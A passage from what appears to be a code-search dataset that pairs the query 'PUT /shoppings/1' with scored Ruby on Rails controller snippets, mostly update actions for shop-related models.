"docid": "81052574edc06efd83f4e5aaebcf0c3d", "score": "0.53709", "text": "def mode(input_array)\n\n counts = Hash.new(0)\n input_array.each do |element|\n counts[element] += 1\n end\n\n output_array = Array.new\n\n counts.each do |word, count|\n if count == counts.values.max\n output_array << word\n end\n end\n\n return output_array\n\nend", "title": "" }, { "docid": "675448e16830f0a2b19da6b4275beee3", "score": "0.53672725", "text": "def tfreq word, labellist\n @tfreq=0\n labellist.each do |doc|\n @tfreq+=doc[word] if doc.has_key?(word)\n end\n @tfreq\nend", "title": "" } ]
2918a75608cf5a4a1e622e1fce62c045
PUT /shoppings/1 PUT /shoppings/1.json
[ { "docid": "a773567ba5d3f88194185d0ecd25f50f", "score": "0.6959751", "text": "def update\n @shopping = Shopping.find(params[:id])\n\n respond_to do |format|\n if @shopping.update_attributes(params[:shopping])\n format.html { redirect_to shoppings_url, notice: 'Shopping was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shopping.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "1361562d590e71045160c1f541144553", "score": "0.70315415", "text": "def update\n if @shop.update(shop_params)\n render json: @shop\n else\n render json: @shop.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "e4d0b44d4c05043b141ab85e0595e2b2", "score": "0.6727155", "text": "def update\n if @shop.update(shop_params)\n render json: @shop\n else\n render json: @shop.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "e4aa3195210d6732df3252d220f6f8c1", "score": "0.671874", "text": "def update\n respond_to do |format|\n if @shoping.update(shoping_params)\n format.html { redirect_to @shoping, notice: 'Shoping was successfully updated.' }\n format.json { render :show, status: :ok, location: @shoping }\n else\n format.html { render :edit }\n format.json { render json: @shoping.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3bbf700be956f33462f35b7653d79d01", "score": "0.6646359", "text": "def update\n @shopper = Shopper.find(params[:id])\n\n if @shopper.update(shopper_params)\n head :no_content\n else\n render json: @shopper.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "ee35e7148a52f8f8f958be2bf7a66ef2", "score": "0.66083807", "text": "def update\n @shop = Shop.find(params[:id])\n\n respond_to do |format|\n if @shop.update_attributes(params[:shop])\n format.html { redirect_to edit_shop_path(@shop), notice: 'Shop was successfully updated.' }\n format.json { render json: @shop }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "412fa0eddb4c4bc96eaf6f54a51033c6", "score": "0.6574376", "text": "def update\n @shop = Shop.find_by(:name => params[:id])\n\n respond_to do |format|\n if @shop.update_attributes(params[:shop])\n format.html { redirect_to @shop, notice: 'Shop was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8059825a5e18750c329d4626de28974c", "score": "0.6552531", "text": "def update\n render json: @shop.errors unless @shop.update(shop_params)\n end", "title": "" }, { "docid": "9a91c23387dea7d2c8f88fd100d165f0", "score": "0.6503821", "text": "def update\n @shop = Shop.find(params[:id])\n\n respond_to do |format|\n if @shop.update_attributes(params[:shop])\n format.html { redirect_to @shop, notice: 'Shop was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a353877479de37484b3ef7c15f22ac52", "score": "0.6498177", "text": "def update\n @shopkeeper = Shopkeeper.find(params[:id])\n\n if @shopkeeper.update(shopkeeper_params)\n head :no_content\n else\n render json: @shopkeeper.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "4804a0a9bd7600dd0ec05087aef637bb", "score": "0.6486841", "text": "def update\n respond_to do |format|\n if @shop.update(shop_params)\n format.html { redirect_to @shop}\n format.json { render :show, status: :ok, location: @shop }\n else\n format.html { render :edit }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f8995941e7fd1567a9125a1603b18b3", "score": "0.6482544", "text": "def set_shoping\n @shoping = Shoping.find(params[:id])\n end", "title": "" }, { "docid": "17ff177a5ac6fced0beb1625d8958753", "score": "0.6475852", "text": "def update\n @shop = Shop.find(params[:id])\n\n respond_to do |format|\n if @shop.update_attributes(params[:shop])\n format.html { redirect_to(shops_url, :notice=> 'Shop was successfully updated.') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3d866fdb7f00476cf7b1bb0c0210f086", "score": "0.646364", "text": "def update\n @shop = Shop.find(params[:id])\n\n respond_to do |format|\n if @shop.update_attributes(params[:shop])\n format.html { redirect_to @shop, notice: 'Shop was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3d866fdb7f00476cf7b1bb0c0210f086", "score": "0.646364", "text": "def update\n @shop = Shop.find(params[:id])\n\n respond_to do |format|\n if @shop.update_attributes(params[:shop])\n format.html { redirect_to @shop, notice: 'Shop was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3d866fdb7f00476cf7b1bb0c0210f086", "score": "0.646364", "text": "def update\n @shop = Shop.find(params[:id])\n\n respond_to do |format|\n if @shop.update_attributes(params[:shop])\n format.html { redirect_to @shop, notice: 'Shop was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9346d486d45c3a052719d08e1139b280", "score": "0.6394727", "text": "def update\n respond_to do |format|\n if @shop.update(shop_params)\n format.html { redirect_to @shop, notice: 'Shop was successfully updated.' }\n format.json { render :show, status: :ok, location: @shop }\n else\n format.html { render :edit }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9346d486d45c3a052719d08e1139b280", "score": "0.6394727", "text": "def update\n respond_to do |format|\n if @shop.update(shop_params)\n format.html { redirect_to @shop, notice: 'Shop was successfully updated.' }\n format.json { render :show, status: :ok, location: @shop }\n else\n format.html { render :edit }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9346d486d45c3a052719d08e1139b280", "score": "0.6394727", "text": "def update\n respond_to do |format|\n if @shop.update(shop_params)\n format.html { redirect_to @shop, notice: 'Shop was successfully updated.' }\n format.json { render :show, status: :ok, location: @shop }\n else\n format.html { render :edit }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9346d486d45c3a052719d08e1139b280", "score": "0.6394727", "text": "def update\n respond_to do |format|\n if @shop.update(shop_params)\n format.html { redirect_to @shop, notice: 'Shop was successfully updated.' }\n format.json { render :show, status: :ok, location: @shop }\n else\n format.html { render :edit }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9346d486d45c3a052719d08e1139b280", "score": "0.6394727", "text": "def update\n respond_to do |format|\n if @shop.update(shop_params)\n format.html { redirect_to @shop, notice: 'Shop was successfully updated.' }\n format.json { render :show, status: :ok, location: @shop }\n else\n format.html { render :edit }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7d5a3744597249b4d8668016a3796cb7", "score": "0.6388455", "text": "def update(params = {})\n req = WebPay::ShopRequestUpdate.create(params)\n raw_response = @client._request(:post, 'shops' + '/' + req.id.to_s, req)\n WebPay::ShopResponse.new(raw_response)\n end", "title": "" }, { "docid": "25a55c43f53899da5c88402c86a0754b", "score": "0.63873607", "text": "def update\n respond_to do |format|\n if @shop.update(shop_params)\n format.html { redirect_to new_owner_shop_subscription_url(@owner, @shop), notice: 'Shop was successfully updated.' }\n format.json { render :index, status: :ok, location: @shop }\n else\n format.html { render :edit }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "469f472db41def0a9f13bd624440a551", "score": "0.6371728", "text": "def update\n\t\trespond_to do |format|\n\t\t\tif @shop.update(shop_params)\n\t\t\t\tformat.html { redirect_to predio_shop_path(@predio, @shop), notice: 'Loja atualizada com successo.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @shop }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @shop.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "a2c81b7acb6ca7c5d3729fbb7e78ff4d", "score": "0.63664526", "text": "def update\n respond_to do |format|\n if @shop.update(shop_params)\n format.html { redirect_to @shop, notice: 'Shop was successfully updated.' }\n format.json { render action: 'show', status: :ok, location: @shop }\n else\n format.html { render action: 'edit' }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e61502b87d70610951697656690e6f99", "score": "0.6353321", "text": "def update\n @shopping = Shopping.find(params[:id])\n\n respond_to do |format|\n if @shopping.update_attributes(params[:shopping])\n format.html { redirect_to @shopping, notice: 'Shopping was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shopping.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0755487a9f5d4dc5228664464f05886b", "score": "0.626578", "text": "def update\n respond_to do |format|\n if @shop_collection.update(shop_collection_params)\n format.html { redirect_to @shop_collection, notice: 'Shop collection was successfully updated.' }\n format.json { render :show, status: :ok, location: @shop_collection }\n else\n format.html { render :edit }\n format.json { render json: @shop_collection.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2572fb900123dab962d92dfd5cd31505", "score": "0.624465", "text": "def update\n spice = Spice.find_by(id: params[:id])\n spice.update(spice_params)\n render json: spice\nend", "title": "" }, { "docid": "e8f3f70c72bd65b15b68f21877c67d12", "score": "0.61865044", "text": "def update\n @pawnshop = Pawnshop.find(params[:id])\n\n respond_to do |format|\n if @pawnshop.update_attributes(params[:pawnshop])\n format.html { redirect_to @pawnshop, notice: 'Pawnshop was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pawnshop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e935208c66e79fd8f2be052bbf8fd8a9", "score": "0.6120473", "text": "def update_many\n if @shops.update_all(shop_params)\n render json: @shops, status: :ok, location: shops_url\n else\n render json: @shops.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "272dd3a1b51f8ed05904079f22630382", "score": "0.61032474", "text": "def update\n respond_to do |format|\n if @listing.update(listing_params)\n format.html { redirect_to \"/shops/#{@shop.id}/listings/#{@listing.id}\"}\n format.json { render :show, status: :ok, location: @listing }\n else\n format.html { render :edit }\n format.json { render json: @listing.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2aa4e74458964974827cca8e2a3dbee7", "score": "0.6071222", "text": "def update\n respond_to do |format|\n if @shop.update(shop_params)\n format.js { redirect_via_turbolinks_to @shop, notice: 'Shop was successfully updated.' }\n format.json { head :no_content }\n else\n format.js\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7db91d26b86562646310d0406c5a8509", "score": "0.6067674", "text": "def update\n @shop = Shop.find(params[:id])\n\n respond_to do |format|\n if @shop.update_attributes(params[:shop])\n format.html { redirect_to(@shop, :notice => 'Shop was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @shop.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "68984913f39a53970434952c3a84d232", "score": "0.60672617", "text": "def create\n\n @shopping = Shopping.new(params[:shopping])\n\n respond_to do |format|\n if @shopping.save\n format.html { redirect_to shoppings_url, notice: 'Shopping was successfully created.' }\n format.json { render json: @shopping, status: :created, location: @shopping }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shopping.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f3651388a4747720887ff0daf423b229", "score": "0.6065969", "text": "def update\n @home_indices_shop = Home::Indices::Shop.find(params[:id])\n\n respond_to do |format|\n if @home_indices_shop.update_attributes(params[:home_indices_shop])\n format.html { redirect_to @home_indices_shop, notice: 'Shop was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @home_indices_shop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b9f49fb202655c6b45098121484edd08", "score": "0.60631496", "text": "def update\n @product_shop = ProductShop.find(params[:id])\n\n respond_to do |format|\n if @product_shop.update_attributes(params[:product_shop])\n format.html { redirect_to @product_shop, notice: 'Product shop was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @product_shop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab1663afb97a178beb2bc3ca69cc405d", "score": "0.6061862", "text": "def update\n respond_to do |format|\n if @coffe_shop.update(coffe_shop_params)\n format.html { redirect_to @coffe_shop, notice: 'Coffe shop was successfully updated.' }\n format.json { render :show, status: :ok, location: @coffe_shop }\n else\n format.html { render :edit }\n format.json { render json: @coffe_shop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6bba8edafac20214124a347a79a8a0ff", "score": "0.6061341", "text": "def update\n respond_to do |format|\n if @shopkeeper.update(shopkeeper_params)\n format.html { redirect_to @shopkeeper, notice: 'Shopkeeper was successfully updated.' }\n format.json { render :show, status: :ok, location: @shopkeeper }\n else\n format.html { render :edit }\n format.json { render json: @shopkeeper.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1faeb84ab64d26957a3501b4145f414a", "score": "0.60581046", "text": "def update\n respond_to do |format|\n if @shopper.update(shopper_params)\n format.html { redirect_to @shopper, notice: 'Shopper was successfully updated.' }\n format.json { render :show, status: :ok, location: @shopper }\n else\n format.html { render :edit }\n format.json { render json: @shopper.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a647eb05a03d251c0b8f7e8f62be4d19", "score": "0.6047843", "text": "def update\n respond_to do |format|\n if @orderinshop.update(orderinshop_params)\n format.html { redirect_to @orderinshop, notice: 'Orderinshop was successfully updated.' }\n format.json { render :show, status: :ok, location: @orderinshop }\n else\n format.html { render :edit }\n format.json { render json: @orderinshop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "eff3b7131c9cb023b0a708fc8ec87e32", "score": "0.60420835", "text": "def create\n @shop = Shop.new(shop_params)\n\n if @shop.save\n render json: @shop, status: :created, location: api_v1_shop_url(@shop)\n else\n render json: @shop.errors, status: :unprocessable_entity\n end\n\n end", "title": "" }, { "docid": "1127cee284401dfd36308f293d4f1934", "score": "0.6037553", "text": "def update\n @workshop = Workshop.find(params[:id])\n \n respond_to do |format|\n if @workshop.update(workshop_params)\n format.html { redirect_to @workshop, notice: 'Workshop was successfully updated.' }\n format.json { render :show, status: :ok, location: @workshop }\n else\n format.html { render :edit }\n format.json { render json: @workshop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "401905c7dc5e9a7122fb82d512c71e7e", "score": "0.60266876", "text": "def update\n @shop = Shop.find(params[:id])\n if @shop.update_attributes(shop_params)\n flash[:notice] = 'Shop was successfully updated.'\n redirect_to shops_path\n else\n flash[:error] = @shop.errors.full_messages\n # format.js\n render \"edit\"\n end\n end", "title": "" }, { "docid": "c6037e23c4e658c1c620063a9a48f14c", "score": "0.60221076", "text": "def set_shop\n @shop = Shop.find_by_id(params[:shop_id])\n if @shop == nil\n payload = {\n error: {\n code: :not_found,\n message: \"Shop not found.\"\n }\n }\n render :json => payload\n end\n end", "title": "" }, { "docid": "8ecb1ea96d8abec364672c20eabeb75d", "score": "0.60118824", "text": "def update\n respond_to do |format|\n if @shop_section.update(shop_section_params)\n format.html { redirect_to @shop_section, notice: 'Shop section was successfully updated.' }\n format.json { render :show, status: :ok, location: @shop_section }\n else\n format.html { render :edit }\n format.json { render json: @shop_section.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "19575764536237900d912d347edea8fe", "score": "0.60051244", "text": "def update\n respond_to do |format|\n if @shoe.update(shoe_params)\n format.html { redirect_to @shoe, notice: \"Shoe was successfully updated.\" }\n format.json { render :show, status: :ok, location: @shoe }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @shoe.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "75d3d5f3ac2a57a51483481181d40a7d", "score": "0.60032177", "text": "def update\n @spoke = Spoke.find(params[:id])\n\n respond_to do |format|\n if @spoke.update_attributes(params[:spoke])\n format.html { redirect_to @spoke, notice: 'Spoke was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spoke.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6cf93d2baa56ab40960e68950bff2a1f", "score": "0.59958714", "text": "def update\n @shop = Shop.find(params[:id])\n @pref=Pref.all\n if @admin_shop.update(admin_shop_params)\n redirect_to :controller => \"admin/shops\", :action => \"index\"\n else\n format.html { render :edit }\n format.json { render json: @admin_shop.errors, status: :unprocessable_entity }\n end\n \n end", "title": "" }, { "docid": "ad471d6e70ab977b1f39721d1477c6dd", "score": "0.59911335", "text": "def update\n shoppingCartItem = ShoppingCartItem.find(params[:id])\n shoppingCartItem.update(shoppingCartItem_params)\n render json: shoppingCartItem, except: [:updated_at, :created_at]\n end", "title": "" }, { "docid": "ffb9224ff07303d7a66d2633846444b5", "score": "0.5967818", "text": "def update\n @shop = Shop.find(params[:id])\n\n respond_to do |format|\n if @shop.update_attributes(params[:shop])\n format.html { redirect_to([:admin, @shop], :notice => 'Shop was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @shop.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "939a8f83e67747bbc092271d1ab855c0", "score": "0.5950639", "text": "def update\n if params[:shop].present?\n @tender.shops << Shop.find(params[:shop].keys)\n end\n respond_to do |format|\n if @tender.update(update_tender_params)\n format.html { redirect_to @tender, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @tender }\n else\n format.html { render :edit }\n format.json { render json: @tender.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2be47bcd74476395a2aac22fb2768901", "score": "0.59500015", "text": "def update\n @shopping = Shopping.find(params[:id])\n\n respond_to do |format|\n if @shopping.update_attributes(params[:shopping])\n flash[:notice] = 'Shopping was successfully updated.'\n format.html { redirect_to(@shopping) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @shopping.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f0a505ac037f79571f66570572405d97", "score": "0.5941386", "text": "def create\n @shop = Shop.new(shop_params)\n\n respond_to do |format|\n if @shop.save\n format.html { redirect_to new_owner_shop_subscription_url(@owner, @shop), notice: 'Shop was successfully created.' }\n format.json { render :index, status: :created, location: @shop }\n\n @owner.subscriptions.update(\n owner_id: @shop.owner_id,\n shop_id: @shop.id\n )\n else\n format.html { render :new }\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "32e4032af05a87d4a9b2a9f60497bac0", "score": "0.5937404", "text": "def update\n respond_to do |format|\n if @shoe.update(shoe_params)\n format.html { redirect_to @shoe, notice: 'Shoe was successfully updated.' }\n format.json { render :show, status: :ok, location: @shoe }\n else\n format.html { render :edit }\n format.json { render json: @shoe.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "32e4032af05a87d4a9b2a9f60497bac0", "score": "0.5937404", "text": "def update\n respond_to do |format|\n if @shoe.update(shoe_params)\n format.html { redirect_to @shoe, notice: 'Shoe was successfully updated.' }\n format.json { render :show, status: :ok, location: @shoe }\n else\n format.html { render :edit }\n format.json { render json: @shoe.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3230aafea9fab1b7a099c82562c5f6c6", "score": "0.59186167", "text": "def update\n @workshop = Workshop.find(params[:id])\n\n respond_to do |format|\n if @workshop.update_attributes(params[:workshop])\n format.html { redirect_to @workshop, notice: 'Workshop was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @workshop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "da418f658400c4b5b2de981b7c918bc5", "score": "0.591631", "text": "def update\n @shop = Shop.find(params[:id])\n if @shop.user != current_user && !is_client_panel?\n render json: ['Unable to update shop'], status: :unauthorized\n elsif @shop.update(shop_params)\n head :no_content\n else\n render json: @shop.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "42fd9905adadb87db6156025ae447be4", "score": "0.59152305", "text": "def update\n respond_to do |format|\n if @shop.update(shop_params)\n # response.headers[\"status\"]=\"200\"\n format.html { redirect_to shops_url, notice: 'Shop was successfully updated.' }\n format.json { head :no_content }\n else\n #response.headers[\"status\"]=\"202\"\n format.html {render action: 'edit'}\n format.json { render json: @shop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "53fa8165c16b88b88357e8473dfbd01e", "score": "0.5911159", "text": "def update\n @api_wmall_shop = Wmall::Shop.find(params[:id])\n\n respond_to do |format|\n if @api_wmall_shop.update_attributes(params[:api_wmall_shop])\n format.html { redirect_to @api_wmall_shop, notice: 'Shop was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_wmall_shop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "498e68d2f448a759027b69da1a4ad71b", "score": "0.5907625", "text": "def update\n @spot = Spot.find(params[:id])\n\n respond_to do |format|\n if @spot.update_attributes(params[:spot])\n format.html { redirect_to @spot, notice: 'Spot was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spot.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "be7b66c75e6b983384102cb1d919f7d9", "score": "0.59033704", "text": "def set_shop_status\n @shop_status = ShopStatus.find(params[:id])\n end", "title": "" }, { "docid": "6c6c102cee48660e4cdcfde5203259f2", "score": "0.58994645", "text": "def set_shoppingitem\n @shoppingitem = Shoppingitem.find(params[:id])\n end", "title": "" }, { "docid": "daaf25e5795ea7c5738fcc5d8b625c16", "score": "0.58952254", "text": "def set_shop_product\n @shop_product = Shop::Product.unscoped.friendly.api(@api_keys_array).find(params[:id])\n end", "title": "" }, { "docid": "0a6c7ecb930284606fe369d24dc018f3", "score": "0.58925897", "text": "def update\n @barber_shop = BarberShop.find(params[:id])\n\n if @barber_shop.update(barber_shop_params)\n head :no_content\n else\n render json: @barber_shop.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "d3bda92e246e1c32d874522f24833788", "score": "0.58880824", "text": "def create\n @listing = @shop.listings.create(listing_params)\n \n respond_to do |format|\n if @listing.save\n\n format.html { redirect_to \"/shops/#{@shop.id}\"}\n format.json { render :show, status: :created, location: @listing }\n else\n format.html { render :new }\n format.json { render json: @listing.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "81ce3b6ecaea36534f3cb0ac4182497d", "score": "0.58839196", "text": "def update\n @scoop = Scoop.find(params[:id])\n\n respond_to do |format|\n if @scoop.update_attributes(params[:scoop])\n format.html { redirect_to @scoop, notice: 'Scoop was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @scoop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "170b9738e2030cb2fa311dfa3421f685", "score": "0.5868977", "text": "def update\n @workshop = Workshop.find(params[:id])\n\n respond_to do |format|\n if @workshop.update_attributes(params[:workshop])\n format.html { redirect_to @workshop, notice: t(:successfully_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @workshop.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9c353322396ec89bc341c8908ce08be6", "score": "0.5866459", "text": "def update\n @spotcheck = Spotcheck.find(params[:id])\n\n respond_to do |format|\n if @spotcheck.update_attributes(params[:spotcheck])\n format.html { redirect_to @spotcheck, notice: 'Spotcheck was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @spotcheck.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "59e1d70ea335b0aa1d089b32ad6516b0", "score": "0.5860026", "text": "def update\n respond_to do |format|\n if @spouse.update(spouse_params)\n format.html { redirect_to @spouse, notice: 'Spouse was successfully updated.' }\n format.json { render :show, status: :ok, location: @spouse }\n else\n format.html { render :edit }\n format.json { render json: @spouse.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5a7ce2fb3ade02d7302f8ea5ac9950d7", "score": "0.5857215", "text": "def update\n if @shop_item.update(shop_item_params)\n render plain: \"successful\"\n else\n render plain: \"unsuccessful\"\n end\n end", "title": "" }, { "docid": "13f29b70d9e761ce3f20c1de5c8ac028", "score": "0.5854081", "text": "def set_shopping_entry\n @shopping_entry = ShoppingEntry.find(params[:id])\n end", "title": "" }, { "docid": "93af862b632c420aadf4df0a161aff12", "score": "0.58498067", "text": "def update\n @spot = Spot.find(params[:id])\n\n respond_to do |format|\n if @spot.update_attributes(params[:spot])\n flash[:notice] = 'Spot was successfully updated.'\n format.html { redirect_to(@spot.thing) }\n #format.html { redirect_to(spots_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @spot.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "794a4d89e59a38e0c2195887ce9a5abd", "score": "0.5848915", "text": "def update\n @shop_checkin = ShopCheckin.find(params[:id])\n\n respond_to do |format|\n if @shop_checkin.update_attributes(params[:shop_checkin])\n format.html { redirect_to(@shop_checkin, :notice => 'Shop checkin was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @shop_checkin.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0351a59072a30fe3c1ea1d17748e8067", "score": "0.58465594", "text": "def update\r\n # We are going to be making 3 requests to this method. The first to let the user now that their dog is now in a trip, the second to update the server that the dog has been picked up, and the third to let the database now the dog has been dropped off.\r\n booking = Booking.find params[:id]\r\n if booking.trip_id.nil?\r\n @current_user.trips.last.bookings << booking\r\n respond_to do |format|\r\n format.html {}\r\n format.json { render status: :created }\r\n end\r\n elsif booking.picked_up.nil?\r\n booking.update(picked_up: DateTime.current)\r\n\r\n respond_to do |format|\r\n format.html {}\r\n format.json { render status: :created }\r\n end\r\n else\r\n booking.update(dropped_off: DateTime.current)\r\n\r\n respond_to do |format|\r\n format.html {}\r\n format.json { render status: :created }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "25c50e01556ac7ffaf099939ac817ce0", "score": "0.5842982", "text": "def update\n respond_to do |format|\n if @sowing.update(sowing_params)\n format.html { redirect_to @sowing, notice: 'Sowing was successfully updated.' }\n format.json { render :show, status: :ok, location: @sowing }\n else\n format.html { render :edit }\n format.json { render json: @sowing.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3368d8e694c665628ae3d2f192154c15", "score": "0.5838764", "text": "def update\n @bookshop = Booksshop.find(params[:id])\n @bookshop.update_attributes!(params[:bookshop])\n\tredirect_to :action=>\"index\"\n \n end", "title": "" }, { "docid": "d317b015751f1dd4791abadf8317f480", "score": "0.5837124", "text": "def set_shop\n @shop = Shop.find(params[:id])\n end", "title": "" }, { "docid": "c761d2c2eb80bb4c78d48761cdcb9179", "score": "0.5836127", "text": "def update\n respond_to do |format|\n if @shop_store.update(shop_store_params)\n format.html { redirect_to @shop_store, notice: 'Shop store was successfully updated.' }\n format.json { render :show, status: :ok, location: @shop_store }\n else\n format.html { render :edit }\n format.json { render json: @shop_store.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "15443e2225c486b04e2a7d7d20820526", "score": "0.5833775", "text": "def update\n if @spot.update(spot_params)\n render json: @spot\n else\n render json: @spot.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "e4858e9c448788a4a8b7fc31ae4c646b", "score": "0.58337146", "text": "def update\n respond_to do |format|\n if @shop_item.update(shop_item_params)\n format.html { redirect_to admin_shop_items_path, notice: 'Shop item was successfully updated.' }\n format.json { render :show, status: :ok, location: @shop_item }\n else\n format.html { render :edit }\n format.json { render json: @shop_item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8f3702c5a567db100744cee1c611de6b", "score": "0.5832113", "text": "def set_shop\n @shop = Shop.find(params[:shop_id])\n end", "title": "" }, { "docid": "8f3702c5a567db100744cee1c611de6b", "score": "0.5832113", "text": "def set_shop\n @shop = Shop.find(params[:shop_id])\n end", "title": "" }, { "docid": "01b2dee028193533ae55750aadf7fdcf", "score": "0.5826521", "text": "def set_shopitem\n @shopitem = Shopitem.find(params[:id])\n end", "title": "" }, { "docid": "0d406878a3fd6be920e7fe8a909945d1", "score": "0.58212906", "text": "def set_shop\n @shop = Shop.find(params[:id])\n end", "title": "" }, { "docid": 